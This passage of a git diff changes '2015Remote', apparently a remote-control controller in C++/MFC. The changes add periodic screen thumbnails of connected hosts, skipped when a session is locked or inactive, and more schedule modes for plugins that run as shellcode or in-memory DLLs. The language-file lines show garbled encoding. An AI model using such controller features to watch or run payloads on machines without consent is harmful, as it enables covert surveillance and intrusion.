a.Find(_T("Locked")) == 0 || a.Find(_T("Inactive")) == 0; + if (!isIdleOrLocked) ok = true; + } + } + if (!ok) { + // 不活跃 / 不支持:仍把 due 推到下一周期,避免每 tick 都判一次 + itDue->second = now + intervalMs; + continue; + } + + // 发送(再次在锁内拿 ctx,因为 ok 判定后到此处可能被下线) + { + CLock L(m_cs); + ctx = FindHostNoLock(cid); + if (ctx) { + SendThumbnailRequest(ctx); + ++sent; + } + } + itDue->second = now + intervalMs; + } +} + + void CMy2015RemoteDlg::OnOnlineUnauthorize() { @@ -8390,11 +8813,135 @@ void CMy2015RemoteDlg::OnNMCustomdrawOnline(NMHDR* pNMHDR, LRESULT* pResult) } } LeaveCriticalSection(&m_cs); - if (!ctx) return; - int r = m_ClientMap->GetClientMapInteger(ctx->GetClientID(), MAP_LEVEL); - if (r >= 1) pLVCD->clrText = RGB(0, 0, 255); // 字体蓝 - if (r >= 2) pLVCD->clrText = RGB(255, 0, 0); // 字体红 - if (r >= 3) pLVCD->clrTextBk = RGB(255, 160, 160); // 背景红 + if (ctx) { + int r = m_ClientMap->GetClientMapInteger(ctx->GetClientID(), MAP_LEVEL); + if (r >= 1) pLVCD->clrText = RGB(0, 0, 255); // 字体蓝 + if (r >= 2) pLVCD->clrText = RGB(255, 0, 0); // 字体红 + if (r >= 3) pLVCD->clrTextBk = RGB(255, 160, 160); // 背景红 + } + // 启用缩略图时: + // 1) 请求 NOTIFYSUBITEMDRAW —— 拿到对每个 subitem 的回调权 + // 在 col 0 上返回 CDRF_SKIPDEFAULT 让系统**不画** col 0(消除空白闪烁源头) + // 2) 请求 NOTIFYPOSTPAINT —— 在 POSTPAINT 阶段用格内 DB 把缩略图画进去 + // 双管齐下:如果 SUBITEM 在 col 0 不触发,POSTPAINT 仍能兜底(退回旧行为); + // 如果 SUBITEM 在 col 0 触发了,系统从此不再写 col 0,闪烁源被掐死。 + *pResult = m_ThumbnailCfg.Enabled + ? (CDRF_NOTIFYSUBITEMDRAW | CDRF_NOTIFYPOSTPAINT) + : 0; + return; + } + + case CDDS_ITEMPREPAINT | CDDS_SUBITEM: { + if (!m_ThumbnailCfg.Enabled) { *pResult = CDRF_DODEFAULT; return; } + // 仅当系统真的回调了 col 0 的 subitem 阶段时生效。CDRF_SKIPDEFAULT 让系统 + // 跳过自己对 col 0 的所有绘制(label / 选中条延伸 / 焦点框等),后续完全 + // 由 POSTPAINT 接管,从而消除"空白 col 0 一闪"的视觉污染。 + if (pLVCD->iSubItem == COL_THUMBNAIL) { + *pResult = CDRF_SKIPDEFAULT; + return; + } + *pResult = CDRF_DODEFAULT; + return; + } + + case CDDS_ITEMPOSTPAINT: { + if (!m_ThumbnailCfg.Enabled) return; + + int nRow = static_cast(pLVCD->nmcd.dwItemSpec); + uint64_t clientID = 0; + bool supportsPreview = false; // 区分"暂未到帧"和"协议不支持"两种占位 + { + CLock L(m_cs); + if (nRow >= 0 && nRow < (int)m_FilteredIndices.size()) { + size_t realIdx = m_FilteredIndices[nRow]; + if (realIdx < m_HostList.size() && m_HostList[realIdx]) { + clientID = m_HostList[realIdx]->GetClientID(); + supportsPreview = m_HostList[realIdx]->SupportsScreenPreview(); + } + } + } + if (clientID == 0) return; + bool isSelected = (m_CList_Online.GetItemState(nRow, LVIS_SELECTED) & LVIS_SELECTED) != 0; + + // 用 GetItemRect + GetColumnWidth(0) 算 col 0 的矩形 —— 比 pLVCD->nmcd.rc 更 + // 可靠:后者在 POSTPAINT 阶段对虚拟列表有时返回空 / 行片段。 + RECT rcRow = {}; + if (!m_CList_Online.GetItemRect(nRow, &rcRow, LVIR_BOUNDS)) return; + int col0w = m_CList_Online.GetColumnWidth(0); + if (col0w <= 0) return; + int cellW = col0w; + int cellH = rcRow.bottom - rcRow.top; + if (cellW <= 0 || cellH <= 0) return; + RECT rcCell = { rcRow.left, rcRow.top, rcRow.left + cellW, rcRow.bottom }; + + HDC hdcDst = pLVCD->nmcd.hdc; + + // 格内双缓冲:把整格(底色 + 占位 / 缩略图)全部画到离屏 HBITMAP 上, + // 最后一次 BitBlt 落地,保证从用户视角看 col 0 只有"旧内容 → 新内容"两种态。 + // 解决 LVS_OWNERDATA + LVS_EX_DOUBLEBUFFER + CDDS_ITEMPOSTPAINT 这个组合下 + // POSTPAINT 偶发绕开 back buffer 写屏导致的占位"一闪"。 + HDC hMemDC = ::CreateCompatibleDC(hdcDst); + HBITMAP hbmCell = ::CreateCompatibleBitmap(hdcDst, cellW, cellH); + if (!hMemDC || !hbmCell) { + if (hMemDC) ::DeleteDC(hMemDC); + if (hbmCell) ::DeleteObject(hbmCell); + return; + } + HBITMAP hbmOld = (HBITMAP)::SelectObject(hMemDC, hbmCell); + + // 全部画在 (0,0)-(cellW,cellH) 局部坐标 + RECT rcLocal = { 0, 0, cellW, cellH }; + HBRUSH hBg = ::GetSysColorBrush(isSelected ? COLOR_HIGHLIGHT : COLOR_WINDOW); + ::FillRect(hMemDC, &rcLocal, hBg); + + auto it = m_HostThumbnails.find(clientID); + bool hasBmp = (it != m_HostThumbnails.end() && it->second.bmp); + if (!hasBmp) { + // 占位文本直接浮在 cell 底色上,不再画内嵌灰框 —— 与表格背景融合。 + // - 支持预览但还没收到帧 → "…" + // - 不支持预览的老客户端 → "N/A" + // - 选中态:用系统 HIGHLIGHTTEXT 保证白底/蓝底下都清晰可读 + HFONT hListFont = (HFONT)m_CList_Online.SendMessage(WM_GETFONT, 0, 0); + HFONT hOldFont = hListFont ? (HFONT)::SelectObject(hMemDC, hListFont) : nullptr; + ::SetBkMode(hMemDC, TRANSPARENT); + ::SetTextColor(hMemDC, ::GetSysColor( + isSelected ? COLOR_HIGHLIGHTTEXT : COLOR_WINDOWTEXT)); + const wchar_t* placeholder = supportsPreview ? L"…" : L"N/A"; + ::DrawTextW(hMemDC, placeholder, -1, &rcLocal, + DT_CENTER | DT_VCENTER | DT_SINGLELINE); + if (hOldFont) ::SelectObject(hMemDC, hOldFont); + } else { + const ThumbCacheEntry& te = it->second; + int maxW = cellW - 2, maxH = cellH - 2; + if (maxW < 4) maxW = 4; + if (maxH < 4) maxH = 4; + + double sx = (double)maxW / te.w; + double sy = (double)maxH / te.h; + double s = sx < sy ? sx : sy; + int dw = (int)(te.w * s + 0.5); + int dh = (int)(te.h * s + 0.5); + int dx = (cellW - dw) / 2; + int dy = (cellH - dh) / 2; + + HDC hThumbDC = ::CreateCompatibleDC(hMemDC); + HBITMAP hThumbOld = (HBITMAP)::SelectObject(hThumbDC, te.bmp); + ::SetStretchBltMode(hMemDC, HALFTONE); + ::SetBrushOrgEx(hMemDC, 0, 0, nullptr); + ::StretchBlt(hMemDC, dx, dy, dw, dh, hThumbDC, 0, 0, te.w, te.h, SRCCOPY); + ::SelectObject(hThumbDC, hThumbOld); + ::DeleteDC(hThumbDC); + } + + // 一次性原子刷屏 + ::BitBlt(hdcDst, rcCell.left, rcCell.top, cellW, cellH, hMemDC, 0, 0, SRCCOPY); + + ::SelectObject(hMemDC, hbmOld); + ::DeleteObject(hbmCell); + ::DeleteDC(hMemDC); + + *pResult = 0; + return; } } } @@ -9434,10 +9981,22 @@ void CMy2015RemoteDlg::OnParamFileV2() SubMenu->CheckMenuItem(ID_PARAM_FILE_V2, m_bEnableFileV2 ? MF_CHECKED : MF_UNCHECKED); THIS_CFG.SetInt("settings", "EnableFileV2", m_bEnableFileV2 ? 1 : 0); Mprintf("文件传输V2: %s\n", m_bEnableFileV2 ? "启用" : "禁用"); - MessageBoxA(m_bEnableFileV2 ? _TR("已启用文件传输协议V2,支持断点续传和C2C传输。") : _TR("已关闭文件传输协议V2。"), + MessageBoxA(m_bEnableFileV2 ? _TR("已启用文件传输协议V2,支持断点续传和C2C传输。") : _TR("已关闭文件传输协议V2。"), _TR("提示"), MB_ICONINFORMATION); } +void CMy2015RemoteDlg::OnParamThumbnailPreview() +{ + m_ThumbnailCfg.Enabled = !m_ThumbnailCfg.Enabled; + CMenu* SubMenu = m_MainMenu.GetSubMenu(2); + if (SubMenu) + SubMenu->CheckMenuItem(ID_PARAM_THUMBNAIL_PREVIEW, + m_ThumbnailCfg.Enabled ? MF_CHECKED : MF_UNCHECKED); + SaveThumbnailSettingsToCfg(); + ApplyThumbnailSettings(); // 内部处理列宽/行高/定时器/缓存切换 + Mprintf("主机列表预览图: %s\n", m_ThumbnailCfg.Enabled ? "启用" : "禁用"); +} + void CMy2015RemoteDlg::OnParamRunAsUser() { CMenu* SubMenu = m_MainMenu.GetSubMenu(2); diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 523f99b..639be59 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -264,6 +264,47 @@ public: void TickLoopTips(); void SendLoopRequest(uint64_t clientID, LoopTipEntry& entry); afx_msg LRESULT OnLoopTipDestroyed(WPARAM wParam, LPARAM lParam); + + // ===== 主机列表缩略图(在线列表第 0 列) ===== + // 设计文档:纯主控端 UI 偏好,不进 MasterSettings 协议包。持久化走 THIS_CFG + // [thumbnail] 节。所有运行时状态仅 UI 线程访问。 + struct ThumbnailSettings { + bool Enabled = true; + int RefreshIntervalSec = 30; // 单台主机的刷新周期 + int ThumbWidth = 60; // 列表内显示宽度(高 = 9w/16) + int NetReqWidth = 120; // 网络请求的源宽(HiDPI 余量,>= ThumbWidth) + int JpegQuality = 60; // 1..100 + }; + ThumbnailSettings m_ThumbnailCfg; + + struct ThumbCacheEntry { + HBITMAP bmp = nullptr; // 预先缩到显示尺寸的 24bpp DIB,BitBlt 友好 + int w = 0; + int h = 0; + }; + std::map m_HostThumbnails; // 缩略图缓存 + std::map m_ThumbNextDueTick; // 下次到期 GetTickCount() 时间 + std::set m_ThumbnailPending; // 在飞的 clientId 集合 + WORD m_ThumbnailReqId = 0; // 缩略图专用 reqId(与 m_PreviewReqId / m_LoopReqId 解耦) + + // 行高占位 ImageList:CListCtrl 没有 SetRowHeight,标准做法是装一个 1×rowH 的 + // 空 ImageList 强行撑高行。关闭缩略图时换回 1×default(或 detach),让行高回缩。 + CImageList m_thumbRowHeightImgList; + int m_thumbRowHeightApplied = 0; // 已应用的行高(避免重复创建) + + // 一次性配置应用入口:加载/重新加载 m_ThumbnailCfg 后调用,处理: + // - 启动/停止 TIMER_THUMBNAIL_REFRESH + // - 列宽 / 行高 调整 + // - 尺寸变化时丢弃旧缓存 HBITMAP + void ApplyThumbnailSettings(); + void LoadThumbnailSettingsFromCfg(); // 从 THIS_CFG 读到 m_ThumbnailCfg + void SaveThumbnailSettingsToCfg() const; // m_ThumbnailCfg 落盘到 THIS_CFG + void TickThumbnailRefresh(); // TIMER_THUMBNAIL_REFRESH 主循环 + void SendThumbnailRequest(class context* ctx);// 发一次缩略图请求 + void CacheThumbnail(uint64_t clientID, const BYTE* jpeg, size_t bytes); + void ClearThumbnailCacheEntry(uint64_t clientID); + void ClearAllThumbnailCache(); + void InvalidateHostRow(uint64_t clientID); // 仅重绘对应行 // 记录 clientID(心跳更新) std::set m_DirtyClients; // 待处理的上线/下线事件(批量更新减少闪烁) @@ -468,6 +509,8 @@ public: afx_msg void OnWhatIsThis(); afx_msg void OnOnlineAuthorize(); void OnListClick(NMHDR* pNMHDR, LRESULT* pResult); + // 单击:缩略图列(COL_THUMBNAIL)命中时弹出循环监视窗口;其余列保持默认行为 + afx_msg void OnListSingleClick(NMHDR* pNMHDR, LRESULT* pResult); // 屏幕预览:依 ctx 最近 RTT + 屏幕分辨率挑参数;4K/超宽屏在 LAN 档自适应放大 void ChooseScreenPreviewParams(context* ctx, WORD& maxWidth, BYTE& jpegQuality) const; // 发起预览请求;reqId 应与 m_PreviewReqId 同步 @@ -524,6 +567,7 @@ public: afx_msg void OnParamEnableLog(); afx_msg void OnParamPrivacyWallpaper(); afx_msg void OnParamFileV2(); + afx_msg void OnParamThumbnailPreview(); afx_msg void OnParamRunAsUser(); void ProxyClientTcpPort(bool isStandard, bool autoRun=false); afx_msg void OnProxyPort(); diff --git a/server/2015Remote/PluginSettingsDlg.cpp b/server/2015Remote/PluginSettingsDlg.cpp index 24729a7..51c8e06 100644 --- a/server/2015Remote/PluginSettingsDlg.cpp +++ b/server/2015Remote/PluginSettingsDlg.cpp @@ -109,7 +109,7 @@ void CPluginSettingsDlg::LoadPluginsToList() m_listPlugins.DeleteAllItems(); const char* runTypeNames[] = { "Shellcode", "内存DLL" }; - const char* modeNames[] = { "不自动执行", "启动执行", "每日定时", "每周定时" }; + const char* modeNames[] = { "不自动执行", "启动执行", "每日定时", "每周定时", "每月定时", "每年定时", "关闭执行", }; int index = 0; for (const auto& dll : m_DllList) { @@ -132,8 +132,8 @@ void CPluginSettingsDlg::LoadPluginsToList() int runType = cfg ? cfg->RunType : info->RunType; int mode = cfg ? cfg->Mode : info->Schedule.Mode; - m_listPlugins.SetItemText(index, 2, _TR(runTypeNames[runType < 2 ? runType : 0])); - m_listPlugins.SetItemText(index, 3, _TR(modeNames[mode < 4 ? mode : 0])); + m_listPlugins.SetItemText(index, 2, _TR(runTypeNames[runType < RUNTYPE_MAX ? runType : MEMORYDLL])); + m_listPlugins.SetItemText(index, 3, _TR(modeNames[mode < SCH_MODE_MAX ? mode : SCH_MODE_NONE])); m_listPlugins.SetItemText(index, 4, CString(info->Md5)); m_listPlugins.SetItemData(index, (DWORD_PTR)dll); @@ -172,9 +172,9 @@ void CPluginSettingsDlg::UpdateSelectedPluginInfo() unsigned int interval = cfg ? cfg->Interval : info->Schedule.Config.Startup.Interval; unsigned char maxCount = cfg ? cfg->MaxCount : info->Schedule.MaxCount; - m_comboRunType.SetCurSel(runType < 2 ? runType : 0); - m_comboCallType.SetCurSel(callType < 4 ? callType : 0); - m_comboMode.SetCurSel(mode < 4 ? mode : 0); + m_comboRunType.SetCurSel(runType < RUNTYPE_MAX ? runType : MEMORYDLL); + m_comboCallType.SetCurSel(callType < CALLTYPE_MAX ? callType : CALLTYPE_IOCPTHREAD); + m_comboMode.SetCurSel(mode < SCH_MODE_MAX ? mode : SCH_MODE_NONE); CString str; str.Format(_T("%u"), interval); diff --git a/server/2015Remote/lang/en_US.ini b/server/2015Remote/lang/en_US.ini index 33ac27f..c6bd928 100644 --- a/server/2015Remote/lang/en_US.ini +++ b/server/2015Remote/lang/en_US.ini @@ -1845,3 +1845,5 @@ IOCP %d ֧ĻԤ=%d host(s) do not support screen preview, skipped ſ=Play Snapshot =Snapshot +Ԥ=Preview +бԤͼ=Host List Thumbnails diff --git a/server/2015Remote/lang/zh_TW.ini b/server/2015Remote/lang/zh_TW.ini index d8d17c0..7514723 100644 --- a/server/2015Remote/lang/zh_TW.ini +++ b/server/2015Remote/lang/zh_TW.ini @@ -1836,3 +1836,5 @@ IOCP %d ֧ĻԤ= %d C֧ԮΞĻA[^ ſ=ſ = +Ԥ=A[ +бԤͼ=CбA[D diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index 70531e7..a1fee45 100644 --- a/server/2015Remote/resource.h +++ b/server/2015Remote/resource.h @@ -978,6 +978,7 @@ #define ID_TRIGGER_SETTINGS 33048 #define ID_33048 33048 #define ID_SCREENPREVIEW_LOOP 33049 +#define ID_PARAM_THUMBNAIL_PREVIEW 33050 #define ID_EXIT_FULLSCREEN 40001 // Next default values for new objects @@ -985,7 +986,7 @@ #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS #define _APS_NEXT_RESOURCE_VALUE 377 -#define _APS_NEXT_COMMAND_VALUE 33050 +#define _APS_NEXT_COMMAND_VALUE 33051 #define _APS_NEXT_CONTROL_VALUE 2542 #define _APS_NEXT_SYMED_VALUE 105 #endif